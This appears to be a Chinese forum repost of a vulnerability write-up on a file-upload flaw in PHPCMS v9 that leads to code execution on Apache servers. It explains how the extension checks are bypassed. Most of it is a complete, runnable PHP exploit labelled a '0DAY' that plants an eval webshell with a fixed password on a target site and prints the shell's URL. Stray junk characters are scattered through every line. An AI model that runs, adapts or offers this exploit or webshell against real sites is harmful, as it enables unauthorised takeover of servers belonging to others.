漏洞类型: 文件上传导致任意代码执行
9 p' c; N: S2 a' }* t3 }* U
) t0 _+ _' V, F# V5 Z; ~简要描述:
( A g) A+ C% B b# U0 e* }/ a3 m$ c# M: }! Y
phpcms v9 getshell (apache)6 I8 r- a [+ F) B9 t0 ?7 R
详细说明: u: ?. P" \( X$ `
9 f0 t* o% ?$ J/ _7 e
漏洞文件:phpcms\modules\attachment\attachments.php* j6 b: i \# s4 A
7 V6 U: F( u L) R2 T8 I) {
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } ' h- f9 }4 O6 e
后缀检测:phpcms\modules\attachment\functions\global.func.php: p- _& b. z- ^* r# @& S) l8 f+ ^* I
) y: L) p0 F2 Y: e% i/ N
; p; d4 z7 g" o2 x9 t3 p0 h( @# E. l; o* K5 ^2 P9 x1 m
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
+ Y6 |% d3 E) p: G0 {
, N! h1 ]; l& b2 t关键函数:# G4 A. C. m& ]! q
+ S5 O t+ Z, r" B+ @
0 X, I3 q0 [3 R% s7 f' }
7 `5 J V6 ~, N; `function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
* ?% e* F" _: I9 i/ K* k' @8 u2 C1 f2 A* {. _: L% m
Fileext函数是对文件后缀名的提取。
S" l( l8 y9 D: C5 y8 L5 V根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
0 y' _/ o+ U8 d6 w+ S经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。$ f( I% e& m) v# K0 b: G& u& s
我们回到public function crop_upload() 函数中# R/ U1 E6 \8 x+ J/ C" W" F
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
* X# Z `$ @9 X' j3 @3 i' Y在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数8 _- O1 E$ a4 O- D: _- F
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。; `1 ?$ u/ r. B. z5 H
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
1 \' M. k3 G% M+ f9 l最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
) W) |; N# N0 T. h% R2 D看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。) f: Y. N* j x/ m9 N% v
漏洞证明:
" F8 E: T" U6 ^! |, q% m3 @* q2 G. F2 G3 j
exp:
/ l0 X% r' a. Q0 _7 [# a& `$ p& Q% i% d/ M. O
<?php; ?9 f0 |8 n& W8 ]
error_reporting(E_ERROR);9 ~# H- D+ n% z4 E/ n4 S' p
set_time_limit(0);
+ v" f$ H2 r3 n) d$pass="ln";- I+ h4 z4 p( @. K
print_r('5 r: A; ~+ L4 F! q
+---------------------------------------------------------------------------+
# R6 `/ }8 b9 z0 |. n9 X$ i* G5 MPHPCms V9 GETSHELL 0DAY
$ M, B0 I/ k* [5 P0 M1 q' Jcode by L.N.
/ T1 v# j/ a, w- R$ J5 z* A
& l' k0 d- Z3 l" F! |apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
2 M- }! H1 T- [; G& w1 c5 e; A* V+---------------------------------------------------------------------------+4 ]/ k% Q( D, S$ u
');
8 ~+ @7 D$ }) `if ($argc < 2) {2 Q# L. w$ e, J. R
print_r('
4 B$ |& l4 Q0 D8 c2 ?+---------------------------------------------------------------------------+
* c& }* H9 {6 l* ?Usage: php '.$argv[0].' url path
$ y4 u' j7 F1 x7 T" f3 s
% L" J7 I9 a: ?Example:9 [. \3 @) u) J; @
1.php '.$argv[0].' lanu.sinaapp.com
- ~4 [! y- \; f& U2.php '.$argv[0].' lanu.sinaapp.com /phpcms
4 w- V7 k* G+ i# }; ^+---------------------------------------------------------------------------+' I5 x# }( r4 s
');1 O, J( i6 h# H: e# A* I$ J
exit;
( _: p! z- x9 W8 h$ y}, H' d! T: e5 j9 `7 Z0 S' Y! e0 i: ~
( `! M; [6 h: ?0 A9 j
$url = $argv[1];
, z6 _" a4 ]5 c6 k$path = $argv[2];6 D( c: o: Z u# h7 \$ y) d6 _
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
' m4 b4 N5 v! S2 @ g9 s f) [; r/ W$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';: A* o( @' y" D7 z% \
if($ret=Create_dir($url,$path))- P2 r& R9 X5 x! ~! v C/ p
{/ t" [3 M: |& A, R) j
//echo $ret;& @! n9 {( U: u- @7 x, o3 R n
$pattern = "|Server:[^,]+?|U";; |! S. o' S* E4 m' a a0 c: H
preg_match_all($pattern, $ret, $matches);
) z4 z, o4 d, A5 i; n) Kif($matches[0][0])
" R e1 o0 C# z+ ~% Y1 Y. e% c{
/ ?: a% O' X' d5 ?if(strpos($matches[0][0],'Apache') == false)
! E& r; B& z! b- U" _( l2 [0 y' X) [{
1 W' K3 f$ @' Decho "\n亲!此网站不是apache的网站。\n";exit;
! \/ l1 g7 G9 [4 `, ^3 ^2 Q7 J9 ]}0 _3 Q) D7 I6 o* K; H0 q' X L
}
/ `; @8 @2 ~( |! h: a L' q$ret = GetShell($url,$phpshell,$path,$file);1 r) J' E+ |! @7 k$ _
$pattern = "|http:\/\/[^,]+?\.,?|U";
8 ?0 _ d1 L7 R5 X; J. Wpreg_match_all($pattern, $ret, $matches);/ h/ E" W% p% O' E |
if($matches[0][0])0 ^: N6 p) Z6 U; b7 K
{
9 i: d; t! K$ @3 y, X+ X4 Techo "\n".'密码为: '.$pass."\n";
1 y' ` L+ [, ~: S- jecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;! S& `) n7 J0 W0 D
}
0 y( }$ Q( _2 {/ M; b# t# o* a8 ~+ t* Lelse. b {# V& A5 l4 b
{
2 N- ]" a* ], t* w: F. @$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
, L7 ?8 U! f/ upreg_match_all($pattern, $ret, $matches);; W& L9 b3 m! V. h
if($matches[0][0])- M/ O& {# J0 q
{5 x2 |9 y* ~+ f ^/ j
echo "\n".'密码为: '.$pass."\n";5 I& }. U j S4 Q5 f+ v; O
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
, ^! D9 A' }4 T. x q- ` f}
$ R* S# x$ R( t) |2 B5 `- |7 s+ Kelse! d2 u( F- p, z
{
, K8 }1 v4 Q; c, x' jecho "\r\n没得到!\n";exit;' k% j3 K! X' z, [. _% R
}; i1 L, g! M' l l# n0 e+ l
}' V/ B) k$ A& h! h+ S# g
}
! B4 t1 \ v0 f7 c3 V% }/ O. V/ N3 c
9 p- i! R$ X9 v8 \function GetShell($url,$shell,$path,$js)
1 l) [! s5 J, Y5 j{
e$ p4 T( h) x* N0 R6 ?, {$content =$shell;
% i# b `: L. f" H; F/ J c/ M$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
& g' L2 N- _+ f4 v& C# A. J$data .= "Host: ".$url."\r\n";
& y8 q- j- y9 F3 m: y! q5 p: |$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
9 p: g$ e' b6 c, z$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";3 t+ h. {4 k& R: r3 U
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";; f8 s2 {0 c S$ E! b. A: P) }. f0 N& P; ?
$data .= "Connection: close\r\n";
3 @6 `/ e1 G. Y; s$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
3 ], s& t0 \1 T* z$data .= $content."\r\n";
% w. F" s# [+ g$ock=fsockopen($url,80);
, W! [2 a1 R1 G! Cif (!$ock); P2 d2 [9 V1 x) D+ E
{
f1 U# |* Z+ {% e! |echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;' I W q1 k1 J& { X, ] |% L
}
- P; H: T( B2 a4 K9 g2 Z \else! ] I/ b8 Q3 m/ O6 @
{
' s* Q/ F# F* E% R5 @9 x# }fwrite($ock,$data); l- m5 v% d" b! Y/ |; K
$resp = '';4 X+ y9 m$ _# D9 x5 q
while (!feof($ock))
) b2 _0 l3 b% {' o, r( p{
9 R6 t! T3 ?6 i6 M* D, T) q6 L$resp.=fread($ock, 1024);
9 t$ s0 E" p7 V. d}- e+ S" N. `# W" A' {' Z( l. W
return $resp;" d, }4 B' X' q" m0 j( Q
}
8 C: d1 f2 J( Z}
0 u& l. e. a, a+ d4 N
+ \ Z- D) ~7 I; Hfunction Create_dir($url,$path=''), X7 c4 D+ a! ]6 K7 ]# Q: U0 C0 D
{
! T! ~3 ^% ?! U+ K3 l7 w& l$content ='I love you';: J3 o+ Y' k" `9 n
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";3 A/ Z$ v f- B, L9 i
$data .= "Host: ".$url."\r\n";
2 r: f* `2 h& `4 |" N$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
+ Q' F% N/ o2 |/ X* I* `' L$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
3 q% q4 n3 y: W) s& k( Q( W( _. S6 g$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
% L& x* O8 p9 b8 m$data .= "Connection: close\r\n";
9 N/ ?, T5 n+ v, o, W; J1 K& Q' i$data .= "Content-Length: ".strlen($content)."\r\n\r\n";6 i. K2 O7 a& | u; S0 N0 u
$data .= $content."\r\n";
6 \! Q9 k( ?8 j$ W$ock=fsockopen($url,80);% G8 n5 w! v2 v5 F8 }5 G9 j( Z1 J" q8 c
if (!$ock)
9 V$ K+ p% v/ }4 V' k. q% P6 k) z{5 p7 n- I; A5 x0 A2 x/ Z2 j
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
5 c! W7 L" v$ S) j5 H" l}
& I) m# }* C" p4 E$ {+ ^$ _5 p6 Pfwrite($ock,$data);
& s7 W" @( L0 d/ m. G9 Q$resp = '';
2 j) G8 L. x& {8 L! Q+ X! swhile (!feof($ock))) o# z3 r# s/ |) Q' w
{9 N5 @" d' B7 M* y3 z
$resp.=fread($ock, 1024);
* R# w9 t! g. B- {}4 |/ V- O8 Y9 L+ I3 u! z5 ~& K& |
return $resp;; L1 D3 D' I5 m8 q
}
2 B9 {* X/ ~& s! C/ a( F4 r4 ~/ N?>
1 \% a3 r$ m& ]! Z5 O5 Y * p/ u4 `* U# H" O
修复方案:
% ~3 K! B6 U8 S! H+ i. D# N, p1 D8 G9 }4 O8 ~
过滤过滤再过滤
& f5 H2 A) X) ]! c _
" ]- u6 D% H. `& q( g' V |